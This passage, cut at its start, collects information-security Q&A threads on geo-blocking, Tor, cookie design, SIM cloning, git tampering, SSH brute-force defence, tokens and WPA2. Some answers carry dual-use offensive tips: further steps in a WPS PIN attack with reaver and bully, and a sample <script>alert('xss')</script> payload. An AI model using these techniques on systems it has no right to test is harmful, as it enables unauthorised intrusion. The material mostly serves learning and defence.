For a user space program to access these it needs the kernel's cooperation through the invocation of system calls.
A kernel module can access them without further approval, because it's already part of the kernel. Of course to become a kernel module kernel cooperation is again required.


Is blocking a country's access to a website a good measure to avoid hackers from that country? I am located in Venezuela right now, and for the whole weekend have been unable to access grubhub.com and seamless.com.

Finally, I tried using the Tor Browser and got access. The same thing happened in January when I tried to access the police department's website in a New York State county when I was abroad.

Is this a measure to avoid hackers? Or do they do it to avoid spending bandwidth in countries where the website doesn't serve the population?

Country-based blocking is usually put in place as a result of some organisational policy whose intention is indeed to "block hackers". This sort of things fail on three points:

Such a policy assumes that malicious people can be categorized by nationality. This is old-style, World-War-I type of thinking.
Geographical position is immaterial for computers; a firewall can only see IP addresses. Inferring geography from IP addresses relies on big tables that are never completely up-to-date.
As you observed, working around these blocking systems is trivial for attackers; it suffices to use a relay host outside of the blocked country, and this happens "naturally" when using Tor. Most attackers will use such relays anyway, to cover their tracks.

So the usual net effect of such a blocking is to irritate a few normal users (who might have been customers, but will not now that they are angry), without actually impeding the efforts of competent attackers.

On the bright side, though, "country"-based blocking is sometimes put in place to prevent thousands of mindless drones from spamming the connection logs. For instance, the sysadmin might have noticed a surge of dummy connections from some botnet, most machines of which being located in Venezuela. In that case, blocking Venezuela altogether may help prevent the clogging of log files, while implying only minor impact on business (assuming that the server in question has very few honest Venezuela-based customers). Thus, it is conceivable that a risk/cost analysis has determined that such a large blocking would improve things.

However, in most cases, the "country blocking" is there for the show: a whole-country blocking helps sysadmins demonstrate to managers that they are doing something for security, in a way that managers readily understand. This is the usual predicament of security: when all things work well, security is invisible. It is unfortunately hard to negotiate budgets for activities that don't imply any visible result. Even though the whole point of security is to avoid having visible results, e.g. a defaced Web site or a list of 16 millions of user passwords leaked and hitting the news.

In the case of media distribution, some distributors enforce country-based blocking because they did not have whole-World retransmission rights, and by doing a modicus of blocking effort they fulfil their legal obligations. Arguably, this case is also "for the show".


What additional steps can be taken on a wireless network penetration test after acquiring WPS pin? I've been conducting some simple penetration tests on a few older wireless routers that I have lying around, focusing mainly on WPS vulnerabilities. I've been having some trouble with an old Belkin router (model F9K1108v1). The router doesn't seem to be vulnerable to a Pixie Dust attack. However, I was able to acquire the router's WPS PIN using the generate PIN option in reaver.

I have access to the router configuration and I can verify the PIN that I acquired is correct. This is an unusual attack situation for me, as I am not used to acquiring only the router PIN. I can't seem to make any further progress with the PIN. I attempted to acquire the router's WPA key using multiple options in reaver, such as mimic windows 7 registrar, to no avail. I also took similar steps using bully, but still made no progress.

What are some logical next steps after having successfully acquired only a router's WPS PIN?

You can check with other wireless device using different chipset. Sometimes (is weird I know) with other device it works. Sometimes, there is some kind of incompatibility between the software and the drivers... like for example using reaver and a wireless device with Ralink chipset. It never works.

Now you know the PIN, so your reaver and bully commands can be using -p argument.

Another test you can do is try to check if your AP has PBC (Push Button Connect) activated by default. If you have access to the router you can check it on configuration. Another way to check is using airodump-ng and the --wps parameter available on most modern versions of aircrack suite (since v1.2 RC2 I guess). With that parameter you'll see a new column with WPS info. Let it scanning more than one minute and interesting info will start to be appearing like the WPS version or if the AP has PBC activated or not.

Another curiosity about this, --wps parameter is that the WPS info is shown on window but is never written to the files using -w parameter in airodump. I think maybe is because adding a new column can break the compatibility with all the people who have scripts and automated processes based on this, IDK, is a wild guess.

Regarding your problem again, I experimented Pixie Dust against vulnerable routers with PBC activated and the result is curious... it takes the PIN but then is unable to get the password. Is a similar behavior that you are experimenting. I know is not the same but maybe with some of these advices you can get the step further.

Good luck!


What is a preferred method of security-conscious creation of login cookies Possible Duplicate:
  Is it safe to store the password hash in a cookie and use it for “remember-me” login?

I am working on a webapp that uses localStorage alone (http://JonathanHayward.com/calendar-todo) to allow the user to create a server account and have things synced over HTTPS to the server so that the webapp is not chained to a single computer.

I'm running into a bit of a brick wall on one security piece. Storing the plaintext, unencrypted cookie is a red flag, but I'm having trouble making an arrangement that does not look isomorphic to storing an unencrypted cookie. If I store a hash of the password plus a secret, only my server may be able to generate an accepted cookie, but someone who accesses the cookie might as well have the plain text password. The best I've been able to think of is to add the ISO8601 expiration date to the secret and password, and then have the server compare it against hashes computed from today to n-1 days in the future. And at that point I have what looks like a plaintext copy of the password that's only good for so long... better, but not that much better.

What's the best way to make a cookie that is seamless from a user perspective and as useless to a cracker as feasible?

Upon login, create a random value that is stored in your database with a time expiry of your choice (1 day, 1 year, whatever). Pass that random value to the client's browser with the corresponding expiry of your choice (session only, years, etc.)

Now when the client visits a page, they will be transmitting the random cookie to your server which has no connection to their password. If you verify that cookie matches that user in your database, then they are authenticated.

This also gives you (and your users if you implement it) the ability to kill all sessions independently of a password change. It also means that you should implement code to kill all sessions upon a password change.


Looking for Tor Exit Node info I have read through the info here https://hackertarget.com/tor-exit-node-visualization/ and other places and I think I understand it enough but I'm not sure.

Am I correct in thinking that if I only visit sites that are on the onion network, I don't go through an exit node and therefore not at risk of the attacks/compromises that are associated to exit nodes?

I use a VPN all the time now on everything that I can get it on so that's the only IP address that would be seen but is it really necessary to use a VPN if you don't leave the onion network? Or is there some other risk where a VPN will be useful to remove or reduce it?

Thanks :)

Am I correct in thinking that if I only visit sites that are on the onion network, I don't go through an exit node and therefore not at risk of the attacks/compromises that are associated to exit nodes?

Yes that's correct. If you are connecting to a hidden service, you're not leaving the Tor network. In theory, the hidden service itself is also not traceable and looks like a regular relay to all intermediate nodes. Since theoretically nobody knows where the hidden service is located, the usual attacks through observing exit nodes don't apply.

  I use a VPN all the time now on everything that I can get it on so that's the only IP address that would be seen but is it really necessary to use a VPN if you don't leave the onion network?

If you don't use a VPN, your ISP or network administrator will know that you are using Tor (but not what you are doing). So use a VPN if you find it desirable to hide your Tor usage from others. Connecting to Tor directly also facilitates traffic correlation attacks. Also, in case of a DNS leak attack, e.g. through the Tor browser, the VPN might give you an extra layer of protection as you'd only resolve addresses through the VPN tunnel and not give away your real IP address.


Does replacing the SIM card mitigate any threats after a serious data breach? I recently heard that a telephone company (a mobile network operator) was hacked and lots of data was stolen, maybe affecting up to a million customers. It sounds like the leaked data is already available on the dark web, and it includes all personal information (names, addresses, ID numbers, phone numbers, etc.) and also a lot of technical data (including SIM activation date, IMSI, ICCID, PUK, etc.). The company confirmed the attack, and said that they now enabled some new security controls in order to prevent potential frauds (but nobody knows what controls they are talking about). However, if you want, they offer to replace the SIM card for free (but they said you need to go to one of their stores, in person).
The question is: does replacing only the SIM card (and keeping the same phone number) help to mitigate anything in such a situation? I don't know how a SIM swap works exactly in detail, but I suspect it depends on the security practices of the carrier(s) involved, so the amount and type of data required by the attacker may vary. By replacing the SIM card, I suppose you would only invalidate the technical data (IMSI, ICCID, PUK, etc.) but I'm not sure how useful that is in practice. Other kinds of attacks might be facilitated by knowing such technical details, however I'm still not sure about their impact. Even if replacing the SIM card might help, what I'd like to know is how much it would help here, and why.

A SIM card stores the IMSI and the authentication key Ki which are used to authenticate your SIM card on the GSM network (short description, long explanation). Both numbers are also stored (in cleartext) in the database of your mobile network operator, so they are almost definitely present in the leaked data.
With the SIM authentication data, an attacker can clone your SIM card and receive incoming calls and SMS instead of you, and that might present a serious threat.
Another issue, obviously, is that they can also make outgoing calls.
Even though caller ID spoofing in GSM networks was always there anyway so it seems like the latter isn't a big issue, the attacker can theoretically frame you for a tedious investigation with local law enforcement by committing some crime using your phone number. Typically, when situations like that happen, the local authorities quickly figure out that the call was actually spoofed because it was coming from some VoIP gateway. But in your case the source would be the SIM card on the network so you may have a hard time convincing them that there's a duplicate SIM somewhere.
Replacing a SIM card in your case does make sense (I'd even go as far as to say that, given your description of the breach, voluntarily invalidating and replacing all the affected SIM cards should be the immediate responsibility of the mobile network), the only thing is that it's definitely not enough to protect you against all the possible threats related to personal data disclosure.


Prompt for PIN when installing Android Apps? is there a way to disable app installations until you provide a certain PIN?
I have the following scenario in mind:

I'm a heavy Google Photos and Google Drive user, but only from my Windows computer as cloud-backups.

When I loose my smartphone and they "somehow" got access to it (even though I'm using fingerprint - but you never know. I would not bet against it that there is ANY way to break into the phone) -> Even though they I'm not yet using Google Drive or Photo Android apps, people could easily install them on the phone and as my Google account is known to the phone, they could do whatever they want with the data.

Is there ANY way to protect against it?
Can you trust Android lockscreen if you use fingerprint sensor or is there mostly a way around it?

I know I can detach devices from my granted account-access for services like Google, Dropbox, Facebook from the Web-Frontend - but what if I don't have any internet connection - or if I am away from home and I use 2-step auth using my phone? Then I can't simply login from any other computer then the one at home to revoke Account-Authentication for the mentioned apps.

After thinking about my question again and reading your answers - I come to the conclusion, I didnt think the question to an end. Indeed, the core of the question is not really about preventing anyone from installing any app, because as Mike Ounsworth pointed out -> If they gain access, they can somehow do it for sure.

So I guess I should rephrase the question to: How to best protect against anyone from stealing my identity if they gain physical access to my device by stealing it or finding my lost device.

Is the Android safe, i.e. can I trust it so that it keeps anyone out even if they have all their tools on Windows, which are available on the darknet or anywhere else.

The core of your question seems to be:

  If I lose my phone, can I prevent the attackers with physical access from installing apps through the apps store?

The hidden assumption here is that you don't mind if they get into your device and root around in the apps / data that are already there, but you really don't want them installing new apps. Well, they're into your device, presumably they have access to your SMS, email, and 2FA code generator app so they are you; they can more or less reset any passwords they want.

This is an oddly specific request, so I think the standard advice applies:

Use a strong password so they can't get onto the device at all.
If you know you've lost the device, use Android's remote lock / erase functionality (yes, this requires both you and the device to have internet connectivity).

As for

  Can you trust Android lockscreen if you use fingerprint sensor or is there mostly a way around it?

I typed "fingerprint unlock spoof" into Google and got a list of articles like this and this which tell me how to lift fingerprints off the device screen and create a fake fingerprint that will unlock the device. The process takes 15 - 30 minutes if you know what you're doing. So yeah, fingerprint unlock is fine for keeping your kid sister from reading your texts, but don't mistake it for real security.

Addressing comment:

  I'm very curious why fingerprint is less secure then a password.

Two reasons:

You don't leave a copy of your password on every glass, table, doorknob, iPhone that you touch.
If your password gets cracked, you can change it. Fingerprint not so much.


Does installing Apache on my local machine create new security risks? I am developing a small LAMP online app, and so far I have been doing all the development online.

I am considering installing Apache/PHP/MySQL on my Ubuntu machine to be able to develop locally as well, but I am wondering if by installing Apache on my machine I would open some security holes, considering it's a web server and that other people would be able to get access to it remotely.

I have important files on my machine, hence my concerns.

Generally speaking, the more applications you have on your host, the more likely you are to get exposed. Each application you add, particularly those that listen/accept external requests increases the risk somewhat.

That said, the added risk might be marginal, particularly compared to the productivity boost it might give you. In addition, and perhaps more importantly, if you follow some simple common-sense steps to secure whichever apps you're running, you are mitigating most of the risk. In the LAMP case, it's best to limit the address Apache / MySQL bind to, and force it to listen only on localhost (127.0.0.1). This alone drastically reduces the exposure of your PC to external access / threats. There are other steps you might want to take, not only on your PC, but also on the server, to reduce exposure and risk to your server and applications (patch security, install updates, use a firewall, make sure your code itself is secure and many more). In addition, you can take steps to secure your files, so that they are not accessible to the Apache server. Anything from file ownership / permissions, to using encrypted containers that you only mount when e.g. Apache is turned off...

If you still weigh the difference between not having LAMP installed and having LAMP installed securely, I guess the former is still slightly more secure. But the same goes to turning off your PC and putting it in a heavy safe. It will be much more secure, but not particularly usable/useful :)

[UPDATE]: additionally, if you want to create another layer of separation between your LAMP and your own host, perhaps it would be a good idea to run a virtual server inside your Ubuntu desktop. You can use virtualbox or many other virtualisation technologies to create a virtual host and configure it as you wish. You can then control how the network between this virtual host and your desktop are configured more easily, and therefore better protect it and your desktop. This might be a good idea regardless of security, as it would allow you to simulate the server operating system/environment more closely and avoid software conflicts / compatibility issues between your desktop and the LAMP stack.


xss Scripting on clean-urls I am learning about XSS vulnerability. I need to know what sort of XSS attack can be done on clean URLs.
Clean URL example : //my url.net/project/public/#questions/question/edit/id/122/answer/1

I am a little unclear on what you mean by what sort of xss attack can be done on clean urls so I'm going to go over both types of XSS for your situation.

It really depends on how that URL is being used to render the page.  First lets talk about two different types of XSS.

  Reflected XSS: Part of your URL is rendered on the page and the attack
  payload is part of your URL.  You need to trick users into clicking
  your link to execute the attack.

  Stored XSS: The XSS is stored on the server itself due to insecure
  programming.  Then when a user visits the page with the XSS payload,
  the attack is called up from the server.  The user just needs to visit
  the page, no link clicking required.

So lest look at your example URL:

//my url.net/project/public/#questions/question/edit/id/122/answer/1

When I first look at this I don't see anything that jumps out as being rendered to the page, but for arguments sake lets say you are rendering the last parameter (1).  If you change the URL to this:

//my url.net/project/public/#questions/question/edit/id/122/answer/1<script>alert('xss');</script>

and you tricked a user into clicking that link, it would display xss in an alert box on their page.  This is a reflected XSS attack.

A more likely scenario is that the last parameter (1) is used to pull some info from the database and render that on the page.  If you have not properly protected yourself against XSS it is possible that someone submitted an answer that contained javascript code.  Example:

My answer to question 1<script>alert('xss');</script>

Now anyone who views that answer will see an alert box that says xss.


How easy is it to hide adding a file to a git repository Here's the scenario...

I have a git repository on a server that may have been compromised. My development team say that they can trust the files in the directory that houses the git repository because all commits (diffs) and new files being added to the repository are checked and signed off by the repository 'owner' and any new files would show as new to the local version when a status or pull is made.

However I believe that if a person has compromised the server on which the git repository is housed, there must be some way to add a file to that repository and cover it up so that when a developer does their next pull, the new file doesn't show up in their git status. Is this the case?

Your developers are correct in that any changes to the repository will be reflected by a new commit. Previous commits cannot be modified without all developers being notified of a serious conflict when updating from the remote repository.

That said, it would be trivial for an attacker to add a new commit to the repository that would automatically be downloaded and applied to developers' local repositories when pulling from the server. I find it extremely implausible that all commits to the repository are manually reviewed unless this is a very infrequently-used project. Even if they are reviewed, a motivated attacker could make an innocuous-looking change that has security implications. For example, in 2003, an unknown person added a commit to the Linux kernel that contained a root escalation vulnerability. This was back when Linux was using CVS, but the only real protection git has against this sort of attack is gpg-signed commits.

Unless you're using strong cryptographic signatures to protect your commits, there's no way to truly know whether or not a third party modified your repository without doing a full audit of all commits by the developer that supposedly authored them since the date of server compromise. This is the only way to truly ensure that an attacker didn't forge a commit by one of your developers.

It's up to you to determine whether or not the risk of the attacker having done this is worth the effort involved in trying to uncover it. If you're a small company making software that doesn't store, protect, or access sensitive data and this looks like a typical drive-by compromise to turn your server into a spam host, I probably wouldn't bother. If you process large quantities of money, I probably would.

Now would also be a good time to ensure that you aren't storing any credentials inside your repository. Things like database passwords, API keys to other services, TLS keys, and cryptographic secrets used for session cookie authentication should never be stored alongside your source code, and you should consider any that have been to be compromised and require rotation.


Blocking brute forcer with multiple IPs in range A few weeks ago, I allowed my Linux Server to be connected from the internet for development purposes. My networking knowledge is quite basic. Following some guidelines on securing Linux servers, I have installed Fail2Ban and I also disabled root logins from SSH.

Currently, I am receiving tons of emails from Fail2Ban about a few IPs within a range that keeps getting blocked. I have max retry set to 3 and a grace time of 60 seconds, block is permanent. However, they can bypass that by changing their IP by a small deviation and then they would try again and get blocked.

How is it possible for them to even change their IP addresses? Do they own a range of IP addresses or something?

I have Fail2Ban set to do a whois search on the banned IP in the email. There is a section called "inetsum" that comes up first. Here is an example output of one of the repeated IPs that keep coming back.

inetnum:        221.192.0.0 - 221.195.255.255

What does inetnum mean? Is that the range of IP addresses that the person owns? Should I just block that instead? Or is that the IP range of the internet service provider?

Here is an image of the IP addresses:

The inetnum and range come from the following IP whois information and simply represents the IP range used for BGP by the Internet Service Provider.

The changing of IP addresses could actually be a number of different things but it could simply be them using a pool of IP's from the ISP, a Chinese bot net or a group of Tor exit nodes (unlikely but possible, and something you could look up).

In any case, you need to stop this. It's great that you have Fail2Ban setup but it would be wise to move your SSH daemon to a high port (I recommend above TCP/30000)

Likewise as @tlng05 mentioned switch from password only to public-key authentication if you can as that tends to stop a lot of brute forcing. Note: when doing this make sure password auth is really disabled and not an option after public-key authentication times out.

If your organization has no business from China you could block that IP range for a few days but I don't generally recommend blocking countries except in very specific cases.

Finally it may be worth setting up a honey pot with a bad password on SSH to see what the attackers next steps will be and also waste more of their time (increase their cost of attacking).

It's worth e-mailing the abuse@ e-mail they provide in their IP Whois results but there is no guarantee anything will be done. Some providers are great at helping to block things like this others will ignore your request. None the less it's wise to do so if you have time (BTW: I've seen this automated).

Can you limit access to this host from certain source IP addresses ? If so that would allow you to block 99% of the Internet which would be a much better solution.

Likewise connecting to a jump-server via VPN first would also help. (Many ways to solve this problem).

If it's an option one way or another you definitely want to block that attacker and watch for their return.

IP Whois results from looking up one of the IP's you listed:

Source: whois.apnic.netIP Address: 221.194.44.223 (China)
% [whois.apnic.net]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

% Information related to '221.192.0.0 - 221.195.255.255'

inetnum:        221.192.0.0 - 221.195.255.255
netname:        UNICOM-HE
descr:          China Unicom Hebei Province Network
descr:          China Unicom
country:        CN
admin-c:        CH1302-AP
tech-c:         KL984-AP
remarks:        service provider
mnt-by:         APNIC-HM
mnt-lower:      MAINT-CNCGROUP-HE
mnt-routes:     MAINT-CNCGROUP-RR
status:         ALLOCATED PORTABLE
remarks:        --------------------------------------------------------
remarks:        To report network abuse, please contact mnt-irt
remarks:        For troubleshooting, please contact tech-c and admin-c
remarks:        Report invalid contact via www.apnic.net/invalidcontact
remarks:        --------------------------------------------------------
mnt-irt:        IRT-CU-CN
changed:        hm-changed@apnic.net 20040329
changed:        hm-changed@apnic.net 20060124
changed:        hm-changed@apnic.net 20060125
changed:        hm-changed@apnic.net 20080314
changed:        hm-changed@apnic.net 20090508
source:         APNIC

irt:            IRT-CU-CN
address:        No.21,Jin-Rong Street
address:        Beijing,100140
address:        P.R.China
e-mail:         zhouxm@chinaunicom.cn
abuse-mailbox:  zhouxm@chinaunicom.cn
admin-c:        CH1302-AP
tech-c:         CH1302-AP
auth:           # Filtered
mnt-by:         MAINT-CNCGROUP
changed:        zhouxm@chinaunicom.cn 20101110
changed:        hm-changed@apnic.net 20101116
source:         APNIC

person:         ChinaUnicom Hostmaster
nic-hdl:        CH1302-AP
e-mail:         abuse@cnc-noc.net
address:        No.21,Jin-Rong Street
address:        Beijing,100033
address:        P.R.China
phone:          +86-10-66259764
fax-no:         +86-10-66259764
country:        CN
changed:        abuse@cnc-noc.net 20090408
mnt-by:         MAINT-CNCGROUP
source:         APNIC

person:         Kong Lingfei
nic-hdl:        KL984-AP
e-mail:         konglf5@chinaunicom.cn
address:        45, Guang An Street, Shi Jiazhuang City, HeBei Province,050011,CN
phone:          +86-311-86681601
fax-no:         +86-311-86689210
country:        cn
changed:        konglf5@chinaunicom.cn 20090206
mnt-by:         MAINT-CNCGROUP-HE
source:         APNIC

% Information related to '221.192.0.0/14AS4837'

route:          221.192.0.0/14
descr:          CNC Group CHINA169 Hebei Province Network
country:        CN
origin:         AS4837
mnt-by:         MAINT-CNCGROUP-RR
changed:        abuse@cnc-noc.net 20060118
source:         APNIC

% This query was served by the APNIC Whois Service version 1.69.1-APNICv1r0 (UNDEFINED)


How to keep logs safe from attackers? I have a Linux server equipped with some security apparatus to prevent unauthorized access. Hopefully, this will prevent intrusions, but the possibility always exists.

Naturally I keep logs so that if I am compromised, I will at least know and can try to contain the damage. However, a clever intruder will also modify these logs.

However, if the logs are recorded to a medium that does not allow modification, the attacker has only a few moments after the intrusion to stop the logging mechanism, otherwise their IP will be irreversibly recorded. How can I set up such an irreversible log mechanism?

One simple solution I can see would be to have a script constantly copy every relevant log entry to pastebin. Unless the intruder compromises both me and the pastebin, the moment I check the pastebin log I will know something's up. That said, I'd like to avoid supplying pastebin with a detailed log of my activities.

Another possibility would be to send an SMS to my phone every time a new IP connects. This strategy is safe so long as my phone is not compromised also. It does have the same problem giving the cell company a log of my activity, and it also seems a bit inconvenient.

A third example: Set up a physical printer and have log entries be also printed out as soon as they are generated. Unless the attacker can come to the printer, steal the print out and replace it with a fake version, this will be safe. However, it's a bit costly, and I would have to then enter IPs by hand into a computer to check them.

To meet this requirement, I think you'll want to look into a dedicated log server.

No remote access, not even SSH.
Syslog is the only service.
Credentials are unique to the logging server.

That's pretty reliable.  Depending on your case, it could be anything from a pimped-out, highly reliable commercial chassis to a RaspberryPi hanging on a nail.


Oldest security feature still in active use Beyond commonsense and physical access controls, is the system password the oldest still in active use security feature? By physical access, I mean for example leaving the system within a secure space.

In ant colonies, specialized ants act as guards and prevent other ants from entering some areas unless they "present" the appropriate, colony-specific pheromone. This is the password model, and ants have been doing that since (at least) mid-Cretaceous, 110 million years ago. So I daresay that the "password" is an ancient security system.

In the realm of human endeavors and technology, cars have featured keys (as security features, i.e. controlling whether the car can be operated at all) since the 1920s.


Are there open databases or sites similar to xssed.com, not necessarily about XSS? Are there open databases, websites similar to xssed.com that are not necessarily about XSS, but where people report SQL inject-able websites or malware infected websites, for example?

Potentially with an Application Programming Interface (API)?

You are probably looking for xssposed.org, a successor website for xssed.com (actually they imported the old xssed database), and which was renamed to Open Bug Bounty a few months ago.

They list XSS and open redirects.


Encryption for a system supporting only basic cryptographic functions I am working on an encryption method between a server and multiple clients. The client hardware only supports basic encryption algorithms (Currently Aes 128-bits and HmacSha1). The hardware is too simple to support TLS/SSL. I have read about Embedded System Communications Security and I also checked https://stackoverflow.com/questions/5235161/aes256-cbc-hmac-sha256-ensuring-confidentiality-and-authentication

Combining this information I came up with an EncryptionClass which takes a weak master key which is unique to each client and also known to the server. The class uses HmacSha1 to generate stronger keys for encryption and authentication. It looks as follows (pseudocode):

EncryptionClass(weakMasterK) {
    HmacSha1.init(weakMasterK)
    strongEncrK = HmacSha1.doFinal(0) // zero constant in bytes
    strongAuthK = HmacSha1.doFinal(1) // one constant in bytes

    // Message encryption:
    AesCipher.init("ENCRYPT_MODE", strongEncrK)
    AesCipher.doFinal(random IV || message)

    // Message decryption:
    AesCipher.init("DECRYPT_MODE", strongEncrK)
    AesCipher.doFinal(encrypted data)

    // Hash generation (for authentication):
    HmacSha1.init(strongAuthK)
    HmacSha1.doFinal(encrypted message)
}

Given the fact that I am not an expert on cryptography at all, I was wondering if anybody sees a problem with this approach, especially with the way keys are generated and used. I would also consider a totally different approach if this requires less computational power than TLS/SSL.

Your 'strong' key is just a hmac with static content - you would be better off implementing HKDF for your key strengthening portion if possible. It would also be worth ensuring your random IV is random enough - an error there will stuff things up a lot.


Who put the killswitch in the WannaCry ransomware? The WannaCry ransomware contains a killswitch, a URL that when registered, caused the malware to shutdown.

Question is, who put in the killswitch?

Was it the bad guys? Was it the NSA? Could it have been anyone else?

The bad guys put the killswitch in their own malware. It couldn't be anyone else, since that malware's vulnerability was in the malware's code.

It's common practice for malwares to check if you're in a sandboxed environment to prevent reverse-engineering (via MITM, for example), and to ease development.

They failed to implement a correct check, since the registration of one domain led to the malware being unable to encrypt anything.


Can address details be "googled" from the whois information, without knowing the domain name? As above - if I register a domain name, will my postal address become "googleable" via WHOIS by someone that doesn't know what the domain name is? (Say I have a fairly distinctive first and last name)

Yes.  There are numerous web sites which present 'whois' information, and they are indexed by Google.  For example, this search:

"Chen, William" whois

Leads to results like this:

MazdaMedia.com WHOIS, DNS, & Domain Info - DomainTools

Which contain the full WHOIS record as well as other information.

Of course, most registrars offer "private registration" services (for a fee, of course) where the details they release are anonymized - instead of your email, they generate a random email address and forward all mail for that address to you, and your name is redacted.  Here's an example of a domain that's protected in this manner:

Play4kd.com WHOIS, DNS, & Domain Info - DomainTools

Registry Registrant ID:
Registrant Name: WHOISGUARD PROTECTED
Registrant Organization: WHOISGUARD, INC.
Registrant Street: P.O. BOX 0823-03411
Registrant City: PANAMA
Registrant State/Province: PANAMA
Registrant Postal Code: 00000
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registrant Email: 6B010429CE9E421782FA4699C28B9BB6.PROTECT@WHOISGUARD.COM

(If you are reading this after February, 2017, there's no guarantee the link will continue to reflect this protection ).


How do RSA SecureID ® Keys Work? I have been using RSA SecureID ® Keys for quite some time now (perhaps 10 years), for things such as securely my home banking account online or accessing my company's network of computers from home. These keys generate a 6-digit numeric token which is set to expire However, I've always wondered how these work.

On the right-hand side there is a dot (not shown on the picture) which blinks once per second, and on the left there is a stack of six vertically-stacked horizontal bars, each of which disappears once every ten seconds. Every time sixty seconds have passed, the token resets itself, and the previous token becomes invalid.

AFAIK these devices don't make use the network, and the numbers they generate must be checked by the server (whether the server be a bank or a company's server). Hence, inside this device there must be stored an algorithm that generates random numbers with a mechanism that includes a very precise timer powered by a small battery. The timer
must be very  precise, since, the server needs to check the validity of the generated digits in the very same time interval. For every user/employee, the server must, as far as I understand, store the same random number generating algorithm, with one such algorithm per customer/employee. The chip must of course be constructed in such a way that if it is stolen then the attacker cannot access the random number generating algorithm stored therein, even if the device is broken.

Is this how this works?

Thanks!

Yes it does work as you say. The chip is "tamper resistant" and will erase the "seed" (secret key) if any attempt is made to attack it. This is often accomplished by having a non-user-replaceable battery and a "trap" that breaks power to the device once the device is opened, or the chip surface is removed. The key is then stored in a SRAM, requiring power to keep the key.

The key is a seed, that combined with the current time in 60 second step (effectively, the current UNIX timestamp / 60), refreshes the code.

No, the device does NOT need to be precise. Instead, the server will store the time of the last accepted code. Then the server will accept a code one minute earlier, one minute ahead, and at the current time, so if the current time at server is 23:20, then it will accept a code from 23:19, 23:20 and 23:21.

After this, it will store the time of the last accepted code, eg if a 23:21 code was accepted, it will store 23:21 in a database, and refuse to accept any code that was generated at 23:21 or earlier.

Now to the interesting part: To prevent an imprecise token from desynchronizing from the server, the server will store in its database, if it was required to accept a 23:19 code or a 23:21 code at 23:20 time. This will ensure that at next logon, the server will correct the code with the number of steps.

Lets say you at Clock 23:20 login with a 23:19 code. Server stores "-1" in its database (and if it would be a 23:21 code, it would store "+1" in database). Next time you login, Clock is 23:40. Then the server will accept a 23:38, 23:39 or 23:40 code.
If a 23:38 code is accepted, it will store "-2" in database, at 23:39 it will keep "-1" in database, and at 23:40 it will store "0" in database.

This effectively makes sure to keep the server synchronized to your token. On top of this, the system, if a token "ran too far away" from the server (due to it being unused for a long time), allows resyncronization. This is accomplished either by a system administrator, or a self service resynchronization service is presented where the token user is asked to provide 2 subsequent codes from the token, like 23:20 and 23:21, or 19:10 and 19:11. Note that the server will NEVER accept a token code generated at or prior to the time that "last used token code" was (as this would allow reuse of OTP codes). When a resyncronization is done, the token will store the difference from the provided 2 token codes, and the current server time and in a resync, the search window could be like plus/minus 50 steps (which would allow about 0,75 hours of desync in both directions).

The server can detect a desynchronized token by generating the 50 prior codes and 50 future codes, and if the specified code matches that, it will launch the resync process automatically. Many times, to prevent an attacker from using the resync process to find valid codes, once an account is in resync mode, login will not be accepted without resyncing, which would require the attacker to find the exact code subsequent or prior to the code just found.


Root certificate from an CA company which can be encrpyted by SoftHSM Does anybody know a CA company which allows me to put the bought CA certificate inside SoftHSM (the same as an HSM but without any hardware, it is pure software)?

Is it hard to work with the PKCS11 interface? I have a Java application which will sign documents. But I need to communicate through the PKCS11 interface.
Anybody had any experience with it before? Is there any tutorial on this?

No, I doubt that that any serious CA company could allow you to operate a CA key outside a real HSM. Additionally it is more than likely that completing a successful third-party audit of your PKI, from a technical and operational point of view, must also be mandatory requirement.

Oracle provides a PKCS#11 Cryptographic Provider for the Java Cryptographic API. However I never used this provider for serious purpose. You can find the official documentation here. This provider is part of the standard Java distribution.

Note that some HSM vendors may also ship a dedicated Java API with their HSM which better fits their product features than the PKCS#11 API. I know that Thales nCipher HSM has such a library.


Is there a way to configure WPA2-PSK to provide Forward Secrecy? Is there a way to secure an wireless connection against a decryption attack where the PSK is known (E.G. Airdecap-NG)? Is it possible to configure Forward Secrecy on 802.11 Wireless Connections?

Forward secrecy is achieved by using ephemeral keys. That's the point of it: you get forward secrecy by using encryption keys which cannot be stolen afterwards because they were never stored on a physical medium; they were stored in RAM only, and have been destroyed after usage. They're gone.

The fine details: this definition extends to whatever can be rebuilt from stored and exchanged values. For instance, in WPA2-PSK, there is an initial shared secret (the password), which is stored, and the encryption keys are generated from that stored secret and random values; the random values are not stored, but are exchanged as cleartext, so the attacker would have seen them and could have stored them. Therefore, WPA2-PSK cannot achieve forward secrecy, because stealing the shared secret (the password) allows unravelling traffic which was captured beforehand (provided that the attacker recorded the whole conversation between client and access point, beginning with the four-way handshake.

Note that WPA2-PSK suffers from an additional issue which is that the shared secret is a password, thus potentially breakable through exhaustive search. This is because passwords with a lot of entropy are hard to remember and type for humans, so usual passwords have low entropy. Forward secrecy is nominally about an attacker stealing a stored secret after the deed, but when the secret is subject to exhaustive search then the theft can be pure computational enumeration, without requiring the purloining of the physical piece of hardware. WPA2-PSK uses the password only through PBKDF2 with 4096 iterations, in order to make exhaustive search on passwords 4096 times slower. Nevertheless, even with a big, fat, completely randomish password (63 printable characters allow for encoding a lot of entropy), forward secrecy would not be achieved because that password is still stored in the entrails of the access point and the client systems.

To get forward secrecy, you need some tools from asymmetric cryptography. The usual method is to have some Diffie-Hellman key exchange algorithm; any pre-shared secret would then be used only for authenticating the exchange elements. This can even be made robust against offline dictionary attacks through Password Authenticated Key Exchange: PAKE protocols combine a key exchange (like Diffie-Hellman) and a password in order to do mutual authentication in a way which does not reveal to attackers anything which can be used to "try passwords at home" (roughly put, there is no password hash which can be observed by attackers). In any case, there is no asymmetric cryptography at all in WPA2-PSK, only hashing and symmetric encryption, so no forward secrecy.